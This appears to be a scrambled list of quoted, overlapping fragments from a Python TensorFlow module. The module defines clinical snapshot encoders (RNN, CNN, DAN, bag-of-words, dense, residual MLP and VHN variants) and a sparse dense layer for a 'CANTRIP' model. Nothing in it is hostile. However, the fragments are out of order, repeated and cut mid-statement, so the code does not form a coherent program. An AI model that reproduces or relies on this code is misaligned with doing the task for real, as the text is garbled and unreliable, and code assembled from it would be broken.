"3. Get batch and sequence indices for non-zero observations tensor_indices = where[:, :-1]",
"i in range(num_layers): slice_ = min(i + 1, depth) x = vhn_layer(x, units=num_hidden,",
"name='flat_emb_obs') # Dropout for fun # if model.dropout > 0: # flat_emb_bags =",
"will be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None,",
"x seq_len x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu',",
"of hidden units :param cell_fn: rnn_cell constructor to use :return: rnn_encoder function \"\"\"",
"tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output by grouping observations in the same snapshot",
"tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense",
"Reshape to (batch * seq_len) x snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size",
"units use; num_hidden is iterable, a multi-layer rnn cell will be creating using",
":return: clinical snapshot encoding \"\"\" activation_fn = None if activation == 'gelu': activation_fn",
"padded snapshot size; requires reshaping to # (batch x seq_len) x 1 so",
"rather than the padded snapshot size; requires reshaping to # (batch x seq_len)",
"x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn = None if",
"num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output by grouping",
"# Reshape them so we use the same projection weights for every bag",
"tf.variable_scope('dense_encoder'): # Use the CPU cause things are about to weird (i.e., too",
"number of consecutive observations to consider; defaults to [3, 4, 5] :param kernels:",
"for fun # if model.dropout > 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training)",
"CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): #",
"bag-of-observation vector transformations to the model bags = get_bag_vectors(model) # Embed bag-of-observation vectors",
"range(num_layers): slice_ = min(i + 1, depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x)",
"NaNs # flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans')",
"raise KeyError('Unsupported activation function: %s' % activation) def vhn_layer(inputs, units, residuals): noise =",
"snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply",
"cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder with the given number of hidden layers.",
"embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional",
"* model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense to debug",
"for every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout",
"Reshape them so we use the same projection weights for every bag flat_emb_bags",
"grouping observations in the same snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len,",
"dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size element-wise",
"binary vector encoding all clinical observations included in a snapshot :param model: CANTRIP",
"= tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size element-wise average avg_layer",
"= tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to [batch_size x max_seq_len x encoding_size] return",
"= tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output by grouping observations in the same",
"model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use",
"= tf.debugging.assert_all_finite(x, 'dense had nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x =",
"[model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active number of observations rather",
"bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden,",
"activation == 'sigmoid': activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' %",
"active number of observations rather than the padded snapshot size; requires reshaping to",
":param dropout: dropout probability; defaults to 0.0 (no dropout) :return: cnn_encoder function \"\"\"",
"model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None if activation",
"_vhn_encoder(model): # Convert batch x seq_len x doc_len tensor of obs IDs to",
"can divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask =",
"each number of hidden units :param cell_fn: rnn_cell constructor to use :return: rnn_encoder",
"= where[:, :-1] # Concat batch, sequence, and vocabulary indices indices = tf.concat([tensor_indices,",
"1 so we can divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len,",
"= [] for n in windows: if dropout > 0: flattened_embedded_obs = \\",
"but using the entire vocabulary as the final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2]",
"# Store as a sparse tensor because they're neat st = tf.SparseTensor(indices=indices, values=ones,",
"given snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding",
"encoding all clinical observations included in a snapshot :param model: CANTRIP model :type",
"__init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer,",
"model.vocabulary_size # Store as a sparse tensor because they're neat st = tf.SparseTensor(indices=indices,",
"conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size -",
"to Dense to debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags,",
"* model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for i in",
"tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def _dan_encoder(model): \"\"\" :param",
"hidden (memory) units use; num_hidden is iterable, a multi-layer rnn cell will be",
"depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x =",
"tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations to the model bags = get_bag_vectors(model) #",
"(no dropout) :return: cnn_encoder function \"\"\" if windows is None: windows = [3,",
"Dropout for fun # if model.dropout > 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout,",
"return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots as a",
":return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape",
"dense layers will be added using the respective hidden units :param avg_hidden_units: number",
"model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them so we use the same projection weights",
"x seq_len x doc_len tensor of obs IDs to batch x seq_len x",
"activation) def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs)",
"not None: outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs",
"encoding as [batch x max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1 as tf import",
"flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to [batch_size x max_seq_len x encoding_size]",
"= SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for i in range(num_layers): slice_ = min(i",
"dense_shape[2] = model.vocabulary_size # Store as a sparse tensor because they're neat st",
"name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs output = tf.concat(outputs, axis=-1) #",
"is not None: outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\")",
"vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them so we use",
"activation_fn = tf.nn.relu elif activation == 'tanh': activation_fn = tf.nn.tanh elif activation ==",
"snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use the CPU cause everything will be",
"x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers): x = residual_unit(x, i, num_hidden)",
"layers :return: clinical snapshot encoding \"\"\" activation_fn = None if activation == 'gelu':",
"to the model bags = get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size,",
"activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model): # Convert batch",
") # Add dense observation layers obs_layer = flattened_embedded_observations for num_hidden in obs_hidden_units:",
"def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn =",
"= tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) #",
"[batch_size x max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def",
"divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes,",
"output by grouping observations in the same snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size",
"V-length binary vector such that the v-th index is 1 iff the v-th",
"layers between observation embeddings and average; if iterable multiple dense layers will be",
"of clinical observations. Specifically, returns a V-length binary vector such that the v-th",
"_rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a CNN encoder with the given",
"= [] for i in range(num_layers): slice_ = min(i + 1, depth) x",
"embeddings and average; if iterable multiple dense layers will be added using the",
"concat output with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to",
"if self.activation is not None: outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had",
"# Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them",
"had NaN bias sum\") if self.activation is not None: outputs = self.activation(outputs) outputs",
"# Add bag-of-observation vector transformations to the model bags = get_bag_vectors(model) # Embed",
"batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to (batch",
"Concat batch, sequence, and vocabulary indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1) # Our",
"> 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\"",
"model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for i in range(num_layers):",
"model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x snapshot_size x",
"[batch x max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1 as tf import layers import",
"cell_fn: rnn_cell constructor to use :return: rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\" :type",
"def _cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations",
"nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had nans')",
"windows: number of consecutive observations to consider; defaults to [3, 4, 5] :param",
"tf.concat(outputs, axis=-1) # Embed concat output with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output)",
"tensor because they're neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model):",
"model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active number of observations rather than the padded",
"returns an embedded of the V-length binary vector encoding all clinical observations included",
"element-wise averages of embedded clinical observations. :param obs_hidden_units: number of hidden units in",
"encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn",
"flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs)",
"return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None,",
"# The dense shape will be the same as model.observations, but using the",
"dtype=tf.float32) # The dense shape will be the same as model.observations, but using",
"function \"\"\" def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed",
"= tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size *",
"as a bag of clinical observations. Specifically, returns a V-length binary vector such",
":type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use the",
"tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) # Compute",
"* model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer *",
"get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) #",
"respective hidden units :param activation: type of activation function to use between layers",
"x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048):",
"= layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to (batch x seq_len",
"Add bag-of-observation vector transformations to the model bags = get_bag_vectors(model) # Embed bag-of-observation",
"x embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size] )",
"is 1 iff the v-th observation occurs in the given snapshot :param model:",
"model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size,",
"the same as model.observations, but using the entire vocabulary as the final dimension",
"be the same as model.observations, but using the entire vocabulary as the final",
"mask = tf.not_equal(model.observations, 0) where = tf.where(mask) # 2. Get the vocabulary indices",
"0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" %",
"* seq_len * doc_len) x embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len",
"* seq_len) x snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size,",
"doc_len tensor of obs IDs to batch x seq_len x vocab_size bag-of-observation vectors",
"NaN product\") if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had",
"embedded_observations, name='flat_doc_embeddings') # More dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape",
"back to (batch x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding')",
"snapshot encoding ops to the graph returning the final clinical snapshot encoding as",
"bag of clinical observations. Specifically, returns a V-length binary vector such that the",
"= tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def residual_unit(inputs, i,",
"entries in model.observations are non-zero mask = tf.not_equal(model.observations, 0) where = tf.where(mask) #",
"Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size])",
"bag of clinical observations. Specifically, returns an embedded of the V-length binary vector",
"tf.variable_scope('bow_encoder'): # Use the CPU cause everything will be vocabulary-length with tf.device(\"/cpu:0\"): return",
"KeyError('Unsupported activation function: %s' % activation) def vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape,",
"be 1 for observed observations, 0, otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32) #",
"seq_len x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10,",
"_rmlp_encoder(model): # Convert batch x seq_len x doc_len tensor of obs IDs to",
"tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask,",
"in GPU memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations to the model",
"clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use the CPU cause everything will",
"+ inputs def _rmlp_encoder(model): # Convert batch x seq_len x doc_len tensor of",
"model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply",
"element-wise average avg_layer = tf.reduce_sum(obs_layer * mask, axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes,",
"flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') # x",
"Use the CPU cause things are about to weird (i.e., too big to",
"= tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch and sequence indices for non-zero observations",
"x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots",
"vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform',",
"x doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs')",
"\"SparseDenseLayer had NaN bias sum\") if self.activation is not None: outputs = self.activation(outputs)",
"to consider; defaults to [3, 4, 5] :param kernels: number of convolutional kernels;",
"of consecutive observations to consider; defaults to [3, 4, 5] :param kernels: number",
"tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch and sequence indices",
"= tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if self.use_bias: outputs",
"def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder with the given number of",
"return x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn = None",
"outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had",
"x seq_len x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags =",
"tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None",
"dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store as a sparse tensor",
"had nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had",
"about to weird (i.e., too big to fit in GPU memory) with tf.device(\"/cpu:0\"):",
"modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size,",
"tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\") if self.activation is not None: outputs =",
"name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots as a bag of clinical observations. Specifically,",
"model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" # 1. Evaluate which",
"them so we use the same projection weights for every bag flat_emb_bags =",
"CANTRIPModel and adds clinical snapshot encoding ops to the graph returning the final",
"= layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x",
"the same snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) #",
"import layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder with",
"CANTRIPModel expects a clinical snapshot encoder function which takes as input the CANTRIPModel",
"avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of the model output = tf.keras.layers.Dense(model.embedding_size,",
"Reshape to (batch * seq_len * doc_len) x embedding flattened_embedded_observations = tf.reshape( embedded_observations,",
"tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size x seq_len x encoding_size] return tf.reshape(output, [model.batch_size,",
"than the padded snapshot size; requires reshaping to # (batch x seq_len) x",
"= tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs",
"projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout for fun flat_doc_embeddings =",
"in dense layers between observation embeddings and average; if iterable multiple dense layers",
"strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs",
"self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\")",
"encoding \"\"\" activation_fn = None if activation == 'gelu': activation_fn = layers.gelu elif",
"[model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots as a bag",
"for non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices =",
"1 for observed observations, 0, otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32) # The",
"\"\"\" with tf.variable_scope('dense_encoder'): # Use the CPU cause things are about to weird",
"def dense_encoder(model): \"\"\" Represents documents as an embedded bag of clinical observations. Specifically,",
"the v-th observation occurs in the given snapshot :param model: CANTRIP model :type",
"if dropout > 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n,",
"Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch",
"[3, 4, 5] def _cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): #",
"tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun dense layers for num_hidden in avg_hidden_units: avg_layer",
"= tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents as an",
"to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout for fun",
"Embed clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to",
"bag-of-observation vectors bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x",
"all clinical observations included in a snapshot :param model: CANTRIP model :type model:",
"outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs = tf.debugging.check_numerics(outputs,",
"to (batch * seq_len) x doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size *",
"and pooling layers outputs = [] for n in windows: if dropout >",
"# Reshape to (batch * seq_len) x doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations,",
"as the final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store as",
"of embedded clinical observations. :param obs_hidden_units: number of hidden units in dense layers",
"raise KeyError('Unsupported activation function: %s' % activation) def _dan_encoder(model): \"\"\" :param model: :type",
"[batch_size x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model):",
"for non-zero observations tensor_indices = where[:, :-1] # Concat batch, sequence, and vocabulary",
"Dense to debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat",
"encoding \"\"\" # 1. Evaluate which entries in model.observations are non-zero mask =",
"# Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to",
"the v-th index is 1 iff the v-th observation occurs in the given",
"to (batch * seq_len * doc_len) x embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size",
"as model.observations, but using the entire vocabulary as the final dimension dense_shape =",
"activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs):",
"number of hidden (memory) units use; num_hidden is iterable, a multi-layer rnn cell",
"i in range(num_layers): x = residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x",
"as a modified element-wise averages of embedded clinical observations. :param obs_hidden_units: number of",
"layers outputs = [] for n in windows: if dropout > 0: flattened_embedded_obs",
"training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size",
"def _rmlp_encoder(model): # Convert batch x seq_len x doc_len tensor of obs IDs",
"activation=activation_fn)(obs_layer) # Reshape final output by grouping observations in the same snapshot together",
"tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs]",
"snapshot encoding \"\"\" activation_fn = None if activation == 'gelu': activation_fn = layers.gelu",
"(batch * seq_len) x doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len,",
"tf.debugging.assert_all_finite(x, 'reshape had nans') return x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6,",
"\"\"\" Represents documents as an embedded bag of clinical observations. Specifically, returns an",
"flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for",
"% n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\" % n)(conv_layer)",
"had NaN product\") if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer",
"given number of hidden layers. If :param num_hidden: number of hidden (memory) units",
"cause things are about to weird (i.e., too big to fit in GPU",
"= tf.concat(outputs, axis=-1) # Embed concat output with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size,",
"of hidden layers. If :param num_hidden: number of hidden (memory) units use; num_hidden",
